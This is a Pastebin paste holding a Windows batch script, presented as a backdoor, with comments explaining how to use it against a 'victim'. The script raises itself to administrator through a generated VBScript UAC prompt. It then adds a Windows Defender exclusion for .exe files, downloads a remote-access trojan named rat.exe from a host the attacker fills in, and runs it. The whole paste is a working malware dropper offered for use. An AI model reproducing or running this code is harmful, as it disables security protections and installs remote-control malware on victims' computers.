Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @echo off
- :: In the above code, we need to change a bit in the second line of code from the bottom, please create a direct download link to your :: computer, and make sure that the link contains a trojan virus, malware, etc. you want, next is to name the backdoor that you want to :: download to the victim's computer, let's name it rat.exe. So we have created the Backdoor. Now I will explain how it works.
- ::
- :: ======================= HOW IT WORKS =========================================
- ::
- :: This script grants administrator privileges, then downloads and executes a file named “rat.exe” from a remote server. First, I used :: the cacls command to check the above permissions. the system file is located at “%SYSTEMROOT%\system32\config\system”. If the :: command fails, the script will switch to the UACPrompt label, which will generate a VB (Visual Basic) script that prompts the victim :: to run the script with administrator privileges. If the cacls command gives no errors then the script jumps to the gotAdmin label :: :: and proceeds to execute the rest. We can see that the label gotAdmin changes to the directory containing the pushd and CD commands. :: It will then run a PowerShell command to set the option for file exclusion extensions to exe. Finally, it switches to the %TEMP% :: directory and uses the curl command to download “rat.exe” from a remote server. It will then run the downloaded file using the :: rat.exe command.
- ::
- :: Thus, this Backdoor works very simply, if the machine installs 2 or more Antivirus, this Backdoor becomes useless, and the victim :: will detect it.
- ::
- :: ======================================== THE CODE STARTS HERE ================================================================
- ::
- >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
- if '%errorlevel%' NEQ '0' (
- goto UACPrompt
- ) else ( goto gotAdmin )
- :UACPrompt
- echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
- set params = %*:"=""
- echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"
- "%temp%\getadmin.vbs"
- del "%temp%\getadmin.vbs"
- exit /B
- :gotAdmin
- pushd "%CD%"
- CD /D "%~dp0"
- Powershell -Command "Set-MpPreference -ExclusionExtension exe"
- cd %TEMP%
- curl "paste your backdoor link here" -o rat.exe
- rat.exe
Add Comment
Please, Sign In to add comment